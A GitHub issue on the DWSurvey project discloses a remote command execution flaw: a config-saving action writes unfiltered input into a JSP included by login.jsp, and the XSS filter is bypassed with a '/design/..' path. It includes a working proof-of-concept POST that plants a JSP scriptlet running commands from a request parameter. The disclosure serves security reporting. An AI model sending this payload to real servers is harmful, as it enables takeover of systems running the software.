Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a remote command execution vulnerability #81

Open
lavon321 opened this issue Aug 16, 2021 · 2 comments
Open

There is a remote command execution vulnerability #81

lavon321 opened this issue Aug 16, 2021 · 2 comments

Comments

@lavon321
Copy link

lavon321 commented Aug 16, 2021

The save method in the com/key/dwsurvey/action/sysuser/SysPropertyAction.java file directly accepts the parameters passed from the client and writes them into the specified configuration file, which is directly included in login.jsp, resulting in rce

A file write operation was performed on the specified file in the writeData method
image
In the save method, the writeData method is invoked to write the admin-info.jsp, and the adminInfo variable comes from the assignment at the beginning of the Sava method.
image
image
image
The xssEncode method of the XssHttpWrapper class filters the request parameters by judging whether the URI contains'/design'
image
You can see that it is mainly Chinese substitution for special characters
image
Since it is determined whether to call the filter function by judging whether the URI contains ’/design’, it can be bypassed by adding /design/.. in front of the path
Finally, it is found in login.jsp that the file is included
image

Poc:

POST /design/../diaowen/sy/system/sys-property!save.action HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=0AA5C18932951B566BBAC5514EA7752C
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 186

adminTelephone=%3c%25Runtime.getRuntime().exec(request.getParameter("i"));%25%3e&adminEmail=dfsdds&adminTelephone=dsfsdfs

visit http://localhost:8888/diaowen/?i=calc , success rce:
image

@en0th
Copy link

en0th commented Sep 14, 2023

很有意思,这个是哪个版本存在的漏洞?

@easyandeasy
Copy link

easyandeasy commented Sep 14, 2023 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants